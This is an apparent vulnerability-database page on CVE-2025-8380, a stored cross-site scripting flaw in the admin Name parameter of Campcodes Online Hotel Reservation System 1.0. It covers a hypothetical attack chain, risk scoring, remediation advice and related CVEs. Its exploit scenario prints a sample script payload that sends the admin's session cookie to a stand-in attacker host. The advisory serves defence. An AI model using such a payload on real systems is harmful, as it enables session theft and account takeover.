Campcodes Online Hotel Reservation System
CVE-2025-8380
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker obtains or guesses admin credentials
-
DeliveryLogs into /admin interface
-
ExploitSubmits XSS payload in Name parameter
-
InstallPayload stored in database
-
C2Admin views affected record
-
ExecuteJavaScript executes in admin browser
-
ImpactAttacker steals session token or modifies data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) Valid login credentials to the administrative interface (/admin path), meaning the attacker must either possess valid admin credentials or trick an admin into performing an action; (2) The Name parameter must be processed by /admin/add_query_account.php without input validation or output encoding; (3) User interaction (UI:P) - the victim must visit or interact with a page that reflects or stores the injected script; (4) A modern browser capable of executing JavaScript in the admin session context. Exploitation is BLOCKED if: the /admin path is network-restricted or requires multi-factor authentication beyond basic login, Content Security Policy headers are implemented to block inline scripts, or if the application encodes output properly. The requirement for authentication and user interaction significantly reduces the attack surface compared to unauthenticated remote code execution vulnerabilities. |
| Impact | The real-world risk is MODERATE-TO-LOW despite public exploit availability. CVSS 4.0 metrics reveal critical limiting factors: PR:L (login required), UI:P (user interaction required), and VI:L (integrity impact only, with VC:N/VI:L/VA:N indicating no confidentiality or availability impact). EPSS score of 0.05% (16th percentile) indicates very low probability of widespread automated exploitation, suggesting this is primarily a targeted risk against organizations running this specific legacy system with attackers who possess valid admin credentials or can socially engineer interaction. The attack chain requires both authentication and user click-through, substantially reducing risk compared to network-accessible remote code execution. However, stored XSS in admin interfaces can compromise account security and enable lateral movement; organizations using this system should treat it as a real but lower-priority vulnerability relative to unauthenticated remote attacks. No active exploitation (KEV) has been confirmed, distinguishing this from actively weaponized threats. |
| Exploit ScenarioDerived | An authenticated administrator receives a phishing email or social engineering message containing a link to the hotel reservation system's admin panel with a pre-crafted malicious Name parameter (e.g., /admin/add_query_account.php?name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>). When the admin clicks the link and interacts with the page (UI:P), the stored XSS payload executes in their browser, exfiltrating session cookies or performing unauthorized account modifications. Alternatively, a low-privilege staff member with access to the admin panel manually injects the payload and tricks another admin into viewing the infected record. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Cross-site scripting (XSS) in Campcodes Online Hotel Reservation System 1.0 allows authenticated users to inject malicious scripts via the Name parameter in /admin/add_query_account.php, affecting the integrity of admin-level functionality. The vulnerability requires user interaction (UI:P) and authenticated access (PR:L), limiting direct remote exploitation to attackers with valid credentials; however, publicly available exploit code exists, and the CVSS 2.0 score with VI:L (integrity impact) reflects limited but confirmed damage potential in a stored XSS context.
RemediationAI
No vendor-released patch identified at time of analysis. Immediate mitigation requires: (1) Update to a patched version if available by contacting Campcodes support via https://www.campcodes.com/ or checking for security updates; (2) As an interim compensating control, restrict access to /admin/add_query_account.php using network-level access controls (firewall rules, IP whitelisting) to limit exposure to trusted administrators only; (3) Implement input validation and output encoding in the Name parameter handler - sanitize all user input using PHP htmlspecialchars() or equivalent HTML entity encoding before storage and retrieval; (4) Deploy a Web Application Firewall (WAF) with XSS detection rules to block script payloads in the Name parameter; (5) Disable admin functionality if the feature is not actively used. Each control has trade-offs: network restriction may hamper legitimate admin access from remote locations; WAF may generate false positives; sanitization requires code changes. Until a vendor patch is released, a combination of access restriction and output encoding is the most practical short-term defense.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a Stored Cross-Site Scripting (CWE-79) flaw in a PHP-based hotel reservation management interface. The /admin/add_query_account.php file fails to sanitize or validate the 'Name' input parameter before processing or storing it, allowing attackers to embed arbitrary JavaScript code that executes in the context of administrative sessions. This is a common weakness in legacy PHP applications that do not implement proper input validation, output encoding, or Content Security Policy headers. The affected system is a web-based reservation platform written in PHP, as indicated by the file path and the direct manipulation of admin interface parameters.
Know when Online Hotel Reservation System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability classified as problematic was found in Campcodes Online Hotel Reservation System 1.0. This vulnerability affects unknown code of the file /admin/add_query_account.php. The manipulation of the argument Name leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
CVE-2025-6355 is a critical SQL injection vulnerability in SourceCodester Online Hotel Reservation System version 1.0, s
SQL injection in the login endpoint of Campcodes Online Hotel Reservation System 1.0 enables unauthenticated remote atta
CVE-2025-6458 is a critical SQL injection vulnerability in code-projects Online Hotel Reservation System version 1.0, af
CVE-2025-6457 is a critical SQL injection vulnerability in code-projects Online Hotel Reservation System 1.0 affecting t
CVE-2025-6456 is a critical SQL injection vulnerability in code-projects Online Hotel Reservation System 1.0, specifical
CVE-2025-6455 is a SQL injection vulnerability in code-projects Online Hotel Reservation System version 1.0, specificall
A vulnerability was identified in SourceCodester Online Hotel Reservation System 1.0. Rated medium severity (CVSS 6.9),
A vulnerability classified as critical was found in SourceCodester Online Hotel Reservation System 1.0. Rated medium sev
A vulnerability classified as critical has been found in SourceCodester Online Hotel Reservation System 1.0. Rated mediu
A flaw has been found in Reservation Online Hotel Reservation System 1.0. Rated medium severity (CVSS 6.9), this vulnera
A vulnerability was detected in SourceCodester Online Hotel Reservation System 1.0. Rated medium severity (CVSS 6.9), th
A vulnerability was identified in SourceCodester Online Hotel Reservation System 1.0. Rated medium severity (CVSS 6.9),
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB